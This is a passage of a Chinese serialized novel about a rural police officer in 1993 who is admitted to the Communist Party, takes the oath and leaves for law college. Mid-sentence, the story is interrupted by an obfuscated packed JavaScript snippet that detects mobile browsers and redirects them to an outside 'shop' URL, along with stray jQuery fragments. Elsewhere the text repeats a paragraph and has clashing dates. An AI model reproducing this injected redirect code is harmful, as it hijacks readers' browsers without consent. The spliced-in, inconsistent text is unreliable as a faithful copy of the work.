十：庄严时刻


    一九九三年七月二十八日，对于我来说，是一个终生难忘的日子。这一天，昝岗派出所党支部召开全体党员会议，专门讨论我的入党问题。天还没亮，我就醒了，窗外的麻雀叽叽喳喳地叫着，像是在为我加油鼓劲。我特意找出那身崭新的警服，是妻子前几天刚用肥皂洗过、在太阳下晒得蓬松洁白的，领口的浆洗得笔挺。我仔细地系好领带，对着镜子反复调整，又拿出软布，把肩章上的警徽擦得锃亮，那金色的麦穗和盾牌在晨光下闪着庄严的光。站在镜子前，看着自己精神抖擞的样子，心里既激动又紧张，像揣了一团火，烧得人坐立难安。这一天，我已经等了太久，从递交入党申请书的那个夜晚开始，一千多个日夜的期盼，终于要迎来结果。


    九点整，会议准时开始。会议室里比往常更显庄重，墙上的党旗被擦拭得一尘不染，红得像团燃烧的火焰。党支部书记主持会议，他先是清了清嗓子，严肃地介绍了会议的议程和目的：“今天，我们齐聚一堂，主要是讨论接收周明森同志为中国共产党预备党员的问题。按照程序，先请介绍人介绍情况，再由各位同志发表意见，最后进行投票表决。”


    随后，赵华甫作为我的第一介绍人，首先站了起来。他整理了一下衣襟，目光扫过在场的每一位党员，声音沉稳而有力：“周明森同志自确定为培养发展对象以来，我亲眼见证了他的成长和进步。这一年多里，他没有因为成为发展对象就松懈，反而对自己要求更严了。”


    他顿了顿，拿起桌上的材料，继续说道：“他能够自觉用党员标准严格要求自己，在思想上积极向党组织靠拢，认真学习党的理论知识，每天雷打不动地看《人民日报》和《公安报》，遇到重要的文章还会剪下来贴在本子上，写下自己的心得体会。政治素养在不断提高，对党的性质、宗旨、纲领有了深刻的理解。”


    “在工作中，他勤勤恳恳，任劳任怨，无论是处理日常警务，还是应对复杂的案件，都表现出了很强的业务能力和责任心。”赵华甫列举了我在工作中的一些突出表现，“去年的抗洪抢险中，他不顾个人安危，跳进齐腰深的洪水里，连续奋战几十个小时，救出了被困的王大娘和三个孩子，自己却累得在泥地里睡着了；处理刘家沟宅基地纠纷时，他不是简单地看文件、讲规定，而是深入两家了解情况，知道刘老大是为了给儿子娶媳妇盖房，李老五是心疼过世老伴种的那棵老槐树，他就陪着两人蹲在地里聊了三个晚上，最后想出个两全其美的办法，既划定了地界，又把老槐树圈进了公共区域，两家握手言和时，都要请他喝喜酒；侦破系列盗窃案时，他不畏艰难，连续半个月泡在村里，白天帮农户干活套近乎，晚上就着煤油灯整理线索，最后顺着牛师傅提醒的细节摸到了嫌疑人，帮陈大爷追回了养老钱，老人当时就给她磕了头……”


    赵华甫的声音里带着赞许：“这些事，桩桩件件都不是惊天动地的大事，但却能看出他心里装着群众，装着责任。他用实际行动证明了自己是一名合格的培养发展对象，我同意接收他入党。”


    接着，牛立新作为第二介绍人补充道。他还是那副不善言辞的样子，站起来时先习惯性地搓了搓手，然后开口道：“我补充几点。明森同志不仅工作能力强，而且品德高尚。所里的小年轻谁有困难，他都主动帮忙，小王刚来时不会做笔录，他手把手教了一个月；小李家人生病，他主动替班值了三个夜班。他团结同志，从不计较个人得失。”


    “在理论学习方面，他十分刻苦，”牛立新继续说，“他的读书笔记我看过，三大本，记得密密麻麻，不光有摘抄，还有结合咱们派出所实际工作的思考，比如怎么把‘群众路线’用到调解纠纷上，怎么用‘为人民服务’的宗旨指导办案。对党的认识深刻，能够将理论与实践相结合。我认为，他已经具备了党员条件，同意接收他为中国共产党党员。”


    其他党员也纷纷发言。张叔说：“明森这孩子，我看着他从刚所里时的毛头小子长成现在的样子，不容易。上次他表弟打架那事，他硬是按规矩办了，姑姑找上门来哭，他眼圈红着也没松口，这股子坚持原则的劲儿，就是党员该有的样。”


    组织委员李振猛说：“他还有个优点，就是爱琢磨。上次处理一起耕牛被盗案，线索断了，他不放弃，跑到邻乡的牛市蹲了三天，假装买牛跟贩子聊天，最后真把偷牛贼钓了出来。这种韧劲，值得我们学习。”


    大家在肯定优点的同时，也诚恳地指出了我的不足之处。有的说：“明森有时候工作方法过于简单，比如上次处理张家婆媳吵架，上来就批评婆婆太固执，结果老人家更生气了，后来还是赵所出面拉家常才化解的，说明他有时候不够灵活，没真正吃透‘晓之以理、动之以情’。”


    有的说：“他遇到紧急情况时容易急躁，上次接到有人落水的报警，他二话不说就跳下去了，虽然人救上来了，但自己腿被石头划伤了，其实当时可以先看看水流情况，找根长竹竿，说明他有时候不够冷静，容易冲动。”


    我认真地听着每一位党员的发言，手里的钢笔在笔记本上飞快地写着，把大家提出的批评意见一一记下来。这些话虽然听着有点“扎心”，但我知道，这都是为了帮助我进步，是真正的关心和爱护。我在心里暗暗下定决心，一定要针对这些不足认真反思，努力改正，不辜负大家的期望。


    轮到我发言时，我站起身，感觉腿有点发颤，声音也因为激动有些颤抖：“感谢各位同志对我的批评和指正，这些意见都说到了点子上，我都记下了。我知道自己还有很多不足之处，在今后的工作和学习中，我一定会努力改进，不断提高自己。”


    我深吸一口气，目光坚定地看着墙上的党旗，一字一句地说：“我深知，加入中国共产党是一份光荣，更是一份责任。如果组织能够批准我的申请，我一定会牢记全心全意为人民服务的宗旨，严格遵守党的章程，履行党员义务，执行党的决定，严守党的纪律，保守党的秘密，对党忠诚，积极工作，为共产主义奋斗终身，随时准备为党和人民牺牲一切，永不叛党。”


    我的话语铿锵有力，充满了对党的忠诚和对人民的热爱。会议室里响起了热烈的掌声，经久不息，像是在为我加油，也像是在为我见证。


    接下来是投票环节。党支部书记宣布了投票规则：“本次投票采用无记名投票方式，同意的在选票上画‘√’，不同意的画‘×’，弃权的不画。请大家本着对组织负责、对同志负责的态度，认真填写。”


    工作人员分发选票，红色的选票在手中显得格外沉重。我看着各位党员认真填写选票的样子，有的皱着眉思考，有的很快就画好了，心里像揣了一只小兔子，“怦怦”直跳，手心都冒出了汗。每一张选票，都承载着大家对我的信任和期望，也决定着我多年的追求能否实现。


    投票结束后，工作人员开始计票。会议室里鸦雀无声，所有人都在等待着结果，空气仿佛凝固了一般。我的眼睛紧紧盯着计票的同志，看着他一张一张地数着选票，心里默默祈祷着。赵华甫看出了我的紧张，朝我微微点了点头，眼神里满是鼓励。


    终于，计票结果出来了。计票的同志把结果交给党支部书记，书记清了清嗓子，高声宣布：“经无记名投票，周明森同志获得全票通过，同意接收其为中国共产党预备党员！”


    听到这个结果，我再也抑制不住内心的激动，眼泪夺眶而出。我成功了！我终于实现了自己的梦想，成为了一名中国共产党预备党员！这泪水里，有激动，有喜悦，也有对过往付出的感慨。


    会议室里再次响起了热烈的掌声，经久不息。赵华甫向我投来欣慰的目光，牛立新也微笑着点了点头。我知道，这掌声不仅是对我的祝贺，更是对我的鞭策，提醒我以后的路更要好好走。


    这一刻，我感觉所有的付出和努力都得到了回报。从值班室窗前写下入党申请书的那一刻起，到在抗洪一线拼命救人，到调解纠纷时磨破嘴皮，到为了破案蹲守在玉米地里喂蚊子……三年多的追求和等待，无数个日夜的奋斗，终于迎来了人生的新起点。我暗暗发誓，一定要珍惜这份荣誉，牢记自己的誓言，用一生的时间来践行对党的承诺。


    十一：新的征程


    一九九三年八月十日，昝岗乡党委召开会议，讨论并批准了我成为预备党员的决议。当赵华甫把那份盖着鲜红印章的文件交到我手里时，我的手激动得有些颤抖。我用手指轻轻抚摸着文件上的字迹，感受着那红色印章的厚重，心中充满了自豪和使命感。这不仅仅是一张纸，更是一份沉甸甸的责任，是组织对我的信任和期许。


    国庆节前夕，昝岗乡党委在乡政府会议室举行了隆重的入党宣誓仪式。那天的阳光是金色的，透过乡政府会议室的木窗棂，把光线切成了格子，落在前排的党徽上，反射出细碎而庄严的光。我站在新党员队列里，警服熨得笔挺，没有一丝褶皱，领口别着的钢笔是妻子前晚特意给我擦亮的，笔帽上的镀铬还能照见人影，清晰地映出我紧张又激动的脸。主席台中央的党旗红得像团火，金线绣的镰刀锤头在光线下闪闪发亮，恍惚间竟觉得那火焰在跳动，映得我眼眶发烫，连带着鼻腔都有些发酸。


    会议室里，气氛庄严而热烈。新党员们都穿着整洁的衣服，胸前别着小红花，整齐地站在党旗前，脸上洋溢着激动的笑容，眼神里却满是肃穆。我站在队伍中，能听到身边同志的心跳声，和我一样急促而有力。


    随着《国际歌》庄严嘹亮的旋律响起，入党宣誓仪式正式开始。那熟悉的旋律仿佛带着一种穿透人心的力量，让每个人都不由自主地挺直了腰板。乡党委书记作为领誓人，举起右拳，声音洪亮地带领新党员们宣誓。


    “我志愿加入中国共产党，拥护党的纲领，遵守党的章程，履行党员义务，执行党的决定，严守党的纪律，保守党的秘密，对党忠诚，积极工作，为共产主义奋斗终身，随时准备为党和人民牺牲一切，永不叛党。”


    我和其他新党员们一起，举起右拳，拳头握得紧紧的，指节都有些发白，庄严地宣誓。每一个字都像是从心底迸发出来的，充满了力量和决心，在会议室里回荡，也在我的心里刻下深深的印记。我的目光紧紧盯着鲜红的党旗，仿佛看到了无数革命先烈为了党的事业，抛头颅、洒热血的场景：李大钊在绞刑架上慷慨陈词，□□面对铡刀毫无惧色，董存瑞手托炸药包毅然拉弦……他们用生命践行了对党的誓言，而我，也将追随他们的脚步，把这份忠诚和担当传承下去。我暗暗下定决心，一定要继承和发扬革命先烈的精神，为党的事业奋斗终身。


    宣誓完毕，王书记开始给我们发党员徽章。那枚小小的金属徽章，正面是镰刀锤头，背面是别针，冰凉的触感瞬间传遍全身，却奇异地熨帖了我激动的心。站在我旁边的小郑是乡卫生院的医生，他突然拽住我的胳膊，眼睛亮得惊人，像藏了两颗太阳：“刚才念誓言的时候，我想起我爹了，他是老党员，临终前还攥着那枚褪色的党徽，说‘做人要正派，当党员要对得起良心，别让人戳脊梁骨’……”


    我拍了拍他的肩膀，没说话，心里却深有感触。是啊，党员这个身份，从来都不是用来炫耀的，而是要用来踏踏实实做事的。窗外的槐花开得正烈，雪白的花瓣缀满枝头，风一吹，簌簌地落下来，飘进会议室，落在党旗的褶皱里，像给红色的火焰添了点温柔的白。有片花瓣恰好落在我手背上，带着晨露的凉意，却让我的心里更暖了。


    宣誓仪式结束后，赵华甫特意走到我身边，拍着我的肩膀说：“明森，从今天起，你就是一名共产党员了。记住，党员这个身份，既是荣誉，更是责任。以后的路还很长，会遇到各种各样的挑战，你要继续努力，不忘初心，不要辜负组织的培养和群众的期望。”


    我重重地点了点头，声音坚定：“所长，我记住了。我一定会以党员的标准严格要求自己，努力工作，为人民服务，绝不给党丢脸。”


    回所里的路上，赵所长把自行车蹬得飞快，车铃叮叮当当响，惊飞了槐树上的麻雀。他突然在桥头停下来，指着桥下的河水——那水刚过汛期，还泛着浑黄，卷着草叶奔流不息。“知道为啥批准你不？”他喉结动了动，眼神里带着回忆，“去年抗洪，你跳下去堵管涌，手里攥着的不是救生圈，是党员先锋队的红旗。那时候你还不是党员，却比谁都拼命，跟个疯魔似的，好几次被浪打得差点没上来，拉你你还吼着‘别管我，先堵洞’。”


    河水在阳光下闪着光，像铺了层碎金。我摸了摸胸前的党员徽章，突然觉得那冰凉的金属里，藏着股滚烫的劲儿，顺着血管往四肢百骸淌。原来有些选择，早就替信念做了回答。我不是在成为党员后才学着担当，而是那份想为群众做事的初心，推着我一步步靠近党，成为党的一员。


    成为预备党员后，我感觉自己肩上的担子更重了，像是无形中又压上了一块石头。我主动承担了所里更多的工作，辖区内的重点户走访、疑难纠纷调解、安全隐患排查，我都抢着干，经常加班加点，有时忙得连饭都顾不上吃，却从不叫苦叫累。我知道，作为一名党员，就应该比别人多付出，多奉献，这是义务，也是本分。同事们都说我像上了发条，我只是笑了笑，心里明白，这是党员的身份在提醒我，不能松懈。


    一九九三年冬天，一个意外的惊喜降临到了我的头上——我收到了省政法学院的录取通知书，我被录取进行为期两年的刑侦专业学习。这个消息像一道光，照亮了我对未来的憧憬。


    十二、红皮通知书


    八月的暴雨连下了三天，像是老天爷攒了一夏天的水，一股脑地往下倒。屋檐下的水帘像道透明的墙，噼里啪啦地响，把派出所和外面的世界隔开，院子里的积水已经没过了脚踝，倒映着灰蒙蒙的天。我在值班室整理防汛档案，纸页被湿气浸得发皱，油墨都洇开了些，字迹变得模糊。突然，电话响了，那“叮铃铃”的铃声在空旷的屋里显得格外刺耳，我赶紧接起来，是县局政治处的老李，他的大嗓门透过听筒都带着震感：“明森啊，省政法学院的录取通知书到了，放我办公桌上了，你赶紧回来拿！”


    我愣了一下，怀疑自己听错了，又问了一遍：“李主任，您说啥？录取通知书？”


    “对啊，刑侦专业的，两年学制，赶紧过来！”老李说完就挂了电话。


    我挂了电话，激动得在值班室里转了好几个圈，差点把椅子撞翻。我跟赵所长打了个招呼，就顶着雨往外跑。雨太大了，伞根本挡不住，没一会儿浑身就湿透了。我在路边拦了辆三轮车，是那种带篷的“三蹦子”，一路颠簸着往县城跑。车在积水里开，溅起的水花比人还高，警靴灌满了泥浆，每一步都像踩在棉花上，拔脚时能听见“咕叽”的声响，又凉又沉。


    推开县局政办室办公室门，一股油墨和烟草混合的味道扑面而来。果然，桌上躺着个牛皮纸信封，右上角印着烫金的校徽，在昏暗的光线下闪着柔和的光。我的手抖了三次才拆开，里面是一张红皮通知书，封面写着“录取通知书”四个金字，下面是“省政法学院”的校名。我把通知书念了三遍，每个字都在舌尖打了个滚才舍得咽下去：“周明森同学，你被录取到我院刑侦专业学习，学制两年。”


    那一刻，感觉心里的一块石头落了地，又像是有团火在燃烧。突然想起刚当警察那年，审讯一个惯偷，那家伙油嘴滑舌，把责任推得一干二净，我被他绕得晕头转向，最后还是宋指导拿着卷宗敲我脑袋：“小子，得学理论，不然斗不过这些老狐狸，法律条文记不住，审讯技巧不懂，咋办案？”那时觉得理论是书本上的字，干巴巴的，没啥用，如今才明白，那是能让腰杆更硬的骨头，是能让拳头更准的力气，是能让自己在复杂案件面前不迷糊的底气。


    拿着通知书，我激动得一夜未眠。参加工作这几年，我越来越深感自己法律知识的不足，遇到复杂的案子，常常因为不懂专业的刑侦技巧而走弯路；调解涉及法律条文的纠纷时，也因为理解不透彻而说不到点子上。我一直渴望有机会系统地学习法律知识和刑侦技能，提高自己的业务能力，如今，这个梦想终于实现了。


    赵华甫得知这个消息后，比我还高兴，他拿着通知书翻来覆去地看，脸上的皱纹都笑开了：“好啊，明森！这是天大的好事，是组织给你深造的机会。你一定要好好珍惜，到了学校里好好学习法律知识、刑侦技术，将来才能更好地为人民服务，办更多的铁案，让老百姓心服口服。”


    然而，喜悦之余，我也有些犹豫。所里人手本来就紧张，平时每个人都要管一片辖区，还要处理各种案件，我这一走，同事们的工作压力肯定会更大。尤其是赵所长和牛师傅，年纪都不小了，还要分担我的工作，想想就觉得过意不去。我担心自己离开后，会影响所里的工作，那些熟悉的乡亲们遇到困难，会不会因为我不在而得不到及时解决？


    赵华甫看出了我的顾虑，他拍了拍我的肩膀，语气轻松地说：“放心去吧，明森。所里有我们呢，还有小王、小李他们，都是能独当一面的好手。你好好学习，学成归来，就是对我们最大的支持。学习也是为了更好地工作，等你回来了，咱们所里就多了一个懂法律、懂刑侦的骨干，到时候破案更有底气，处理纠纷更有章法，这不是两全其美吗？”


    牛立新也在一旁点头：“赵所说得对，去吧。我当年要是有这机会，砸锅卖铁也得去。你把本事学到手，回来教我们几招，比守在所里强。”


    听了他们的话，我心里的顾虑打消了不少。我决定珍惜这个来之不易的机会，努力学习，提高自己的综合素质，不辜负所里的期望。


    回家时，妻子正在灶台前熬姜汤，最近雨天多，她怕我着凉，特意煮的。白雾把她的脸熏得发红，额前的碎发都粘在皮肤上，鼻尖也红红的。我把通知书往她手里一塞，她手一抖，姜汤洒了点在灶台上，“烫”字还没说出口，眼泪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048335|192731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    先掉了下来，大颗大颗的泪珠砸在红皮封面上，晕开个小小的圈。


    “哭啥？”我给她递过毛巾，粗布毛巾蹭过她的脸，把眼泪和水汽都吸走了。她却突然抱住我，围裙上的姜味混着淡淡的汗味，是我最熟悉也最踏实的香。“俺爹当年没念完初中，总说‘有文化才能站得直，说话才有分量’。”她的声音闷在我胸口，带着布料的摩擦声，“你去学，家里有俺，丫头我也能教她认字，她现在都能数到二十了。”


    夜里躺在炕上，听着窗外的雨声，像无数根针落在伞上，密密麻麻的。妻子翻了个身，黑暗中能看见她亮晶晶的眼睛，像藏着星星。她突然说：“我给你做了两双布鞋，千层底的，纳了半个月，针脚密，走路不磨脚。”她的手在我掌心画着圈，指尖带着纳鞋底留下的硬茧，硌得人心里暖暖的。“在校要好好学，多向老师请教，多和同学探讨，别硬撑着。我给你缝了个布口袋，粗布的，装笔记用，结实，不怕磨。”


    我攥紧她的手，突然觉得这两年的分离，不是分别，是两个人往同一个方向使劲。就像她纳鞋底，一针一线往紧里收，把心意都缝进去；我读书，一字一句往深里钻，把本事都学到手，都是为了把日子过扎实，把案子办明白，让乡亲们更安心。


    告诉同事们消息那天，刘和亮拎着瓶二锅头就来了，进门就喊：“必须庆祝！这是咱所的大喜事！”他往灶台前一站，菜板上剁着五花肉，咚咚响得像敲鼓：“今天我露一手，给你做个红烧肉，补补！”


    牛明良抱着个笔记本，红着脸，连耳朵尖都红透了，他把本子往我手里塞：“明森，你……你说去就去啊？这是我整理的昝岗乡十年案件汇总，偷鸡摸狗的、打架斗殴的、宅基地纠纷的都记着，还有处理办法和群众反应，你看看说不定有用，知道咱这儿的案子啥脾气，学理论的时候能照着琢磨琢磨。”那本子纸页都用线装成了册，边角磨得有些毛，里面的字迹工工整整，还有不少红笔标注的重点。


    李振猛最实在，往我包里塞了个铁皮饭盒，沉甸甸的，盖儿都快扣不上了：“这是俺媳妇做的牛肉酱，下饭，配馒头、拌面条都香。在那边别省钱，食堂菜不好就买点肉，不够了跟哥几个说，哥给你寄钱。”他顿了顿，挠挠头，露出点不好意思的笑，“有时间就写封信，说说城里的新鲜事，讲讲学校里教啥，让俺们也长长见识，知道城里的警察是咋办案的。”


    赵所长最后一个来，手里拿着本《犯罪心理学》，封皮都磨白了，边角卷得像海带。扉页上写着“遇事多琢磨，别慌”——跟当年宋指导留给我的字，一模一样，连钢笔的力道都像，透着股沉稳劲儿。“学成回来，”他拍着我的肩膀，力道不轻，带着满满的期许，“别学成书呆子，忘了咱昝岗的土办法，有时候土办法比书本管用。咱这的老百姓认实在，你学了理论，还得会用，得让他们听得懂、信得过。”


    离家求学的前一晚，妻子为我收拾行李，一边叠衣服一边轻声说：“家里有我呢，你放心去吧。在学校里要好好照顾自己，按时吃饭，别总熬夜。好好学习，别辜负了组织的培养和大家的期望。”她把叠好的衣服放进蓝布包里，又把两双布鞋仔细地用报纸包好，放进包的最底层，“天冷了就穿厚点，我给你带了件厚棉袄，是娘留下的，暖和。”


    我握着妻子的手，心里充满了感激。我知道，自己能够安心学习，离不开妻子的支持和付出，她不仅要照顾年幼的女儿，还要操持家里的农活，里里外外都得靠她。我对妻子说：“谢谢你，老婆。等我学成回来，一定好好补偿你，多帮你干活，带你和丫头去县城逛逛，看看电影。”


    十三、槐树下的告别


    九月的晨露沾在槐树叶上，像没干的眼泪，晶莹剔透，太阳一照，闪着七彩的光。我背着妻子连夜缝的蓝布包，包带都用线缝了加固，针脚密密麻麻，看着就结实。站在派出所院子里，看李振猛给自行车打气，他的大手掌把车胎拍得砰砰响，说：“这样才结实，路上别爆胎。”车是所里的旧自行车，他特意给我修了修，链条上了油，车闸也调紧了。


    刘和亮往车筐里塞煮鸡蛋，用手绢包了三层，说：“路上别磕破了，饿了就吃，补充体力。到了省城换了长途车，也别忘了拿。”


    牛明良把一沓案卷笔记往我手里塞，纸页都用线装成了册，整整齐齐的：“这是我整理的昝岗乡十年案件汇总，偷鸡摸狗的、打架斗殴的都记着，你看看说不定有用，知道咱这儿的案子啥脾气，学理论的时候能结合着想想。”


    赵所长站在老槐树下，树影落在他身上，像披着件花衣裳。手里捏着串钥匙，铜钥匙被磨得发亮，能照出人影。“你那间宿舍，我给你锁着，铺盖都不动，就跟你平时上班一样。”他把钥匙塞进我手心，指尖的温度混着钥匙的凉，“想家了就回来看看，所里永远有你一张床，食堂永远有你一口热饭。”


    妻子牵着女儿站在门口，小丫头才三岁，扎着两个羊角辫，攥着个布偶熊，是我去年从县城买的，耳朵都快掉了，她却宝贝得不行。她奶声奶气地说：“爸爸，学完就回来。妈妈说，你学会了本事，就能抓好多好多坏蛋，保护丫丫和妈妈。”我蹲下去抱她，她突然在我脸上亲了口，口水蹭在我胡茬上，痒得人心头发颤，却舍不得擦。


    “走吧。”赵所长拍了拍车后座，木架上还留着我以前绑案卷的绳子印，深深浅浅的。“再晚赶不上长途汽车了，去县城的车就那几趟。”


    自行车穿过昝岗乡的街道，晨光把我们的影子拉得老长，像两条并肩的路。卖油条的张大爷正支着摊子，见我们过来，往我包里塞了袋热油条，油纸袋透着油香，“到了省城，别忘了咱昝岗的味儿，这油条配胡辣汤，绝了！想家了就尝尝，就当回了趟家。”


    修鞋的老李追出来，手里拿着两双鞋垫，粗布上纳着花纹，看着就软和：“明森，这是俺家老婆子做的，软和，走路舒服，别让脚受罪。在学校走路多，可别委屈了脚。”


    连上次被我们从洪水里救回来的小花，也站在村口老槐树下，手里捧着把新摘的槐花，雪白的花瓣上还带着露水。她往我蓝布包里塞，说：“周叔叔，老师说，槐花能安神，你学习累了就闻闻，就不想家了。”小花才十岁，眼睛大大的，像个小天使。


    在长途汽车站，妻子突然从布包里拿出个小布偶，是用我穿旧的警服布料做的，蓝灰色，缝得歪歪扭扭，却有个挺括的领子，她还特意缝了颗用红布做的五角星，歪歪扭扭地贴在胸前。“想丫头了就看看这个，”她的眼圈红了，却使劲笑着，眼角的细纹都挤了出来，“我每月给你寄一次腌菜，萝卜干、辣椒都有，都是你爱吃的，记得放食堂冰箱里，别让别人拿错了。要是有人问，你就说是家里寄的，下饭。”


    汽车发动时，我扒着窗户往外看，看见同事们还站在站台，赵所长的警帽在人群里格外显眼，像座不会动的灯塔。妻子抱着女儿，朝我挥手的胳膊一直没放下来，直到变成个模糊的小点，像滴落在视野里的墨。


    车窗外，昝岗乡的田野往后退，刚插的秧苗绿得发亮，像块铺到天边的毯子，田埂上还有早起干活的乡亲，扛着锄头，一步一步走得踏实。我摸出赵所长给的那本书，扉页上的“别慌”两个字力透纸背，墨迹都有些发蓝，仿佛能看到他写字时严肃的神情。突然想起入党宣誓那天，王书记说的话：“党员是啥？是老百姓眼里的光，走到哪儿，就得把亮带到哪儿。你手里的权力，是老百姓给的，心里得永远装着他们。”


    包里的鸡蛋还温着，妻子做的布鞋在鞋盒里安静躺着，鞋里塞着的花椒包散发着清香，她说能防蛀。牛明良的笔记上，“昝岗乡”三个字被红笔圈了又圈，旁边画着个小小的派出所，歪歪扭扭，却一眼就能认出来，像个温暖的家。我知道，这趟去省城，不是离开，是带着身后的光，往更亮的地方走，学本事，长见识，回来的时候，能给这片土地、这些人，挡更多的风雨，照更亮的路。


    就像老槐树下的花瓣，落了不是结束，是化作泥土，等着明年开出更盛的花。而我胸前的党员徽章，会在政法学院的课堂上，在深夜苦读的台灯下，一直亮着——那是从昝岗乡带出来的光，是老百姓的期盼，是党旗上永不熄灭的火焰。


    路还长，但心里有光，就不怕道远。汽车驶过一条河的大桥时，我打开窗户，风灌进来，带着河水的气息，清新而湿润。蓝布包里的槐花香飘出来，混着远处田野的青草味，像昝岗乡在跟我说：“去吧，我们等你回来。”我摸了摸党员徽章，冰凉的金属在阳光下晒得发烫，像颗跳动的心脏，充满了力量和希望。


    我看着窗外飞逝的风景，心里充满了期待和憧憬。我知道，这是一个新的征程，我将在这里学到更多的知识和技能，为将来更好地为人民服务打下坚实的基础。等我回来，昝岗乡的老槐树一定长得更茂盛了，乡亲们的日子也一定更红火了，而我，会用学到的本事，守护好这片土地上的每一个人，每一分安宁。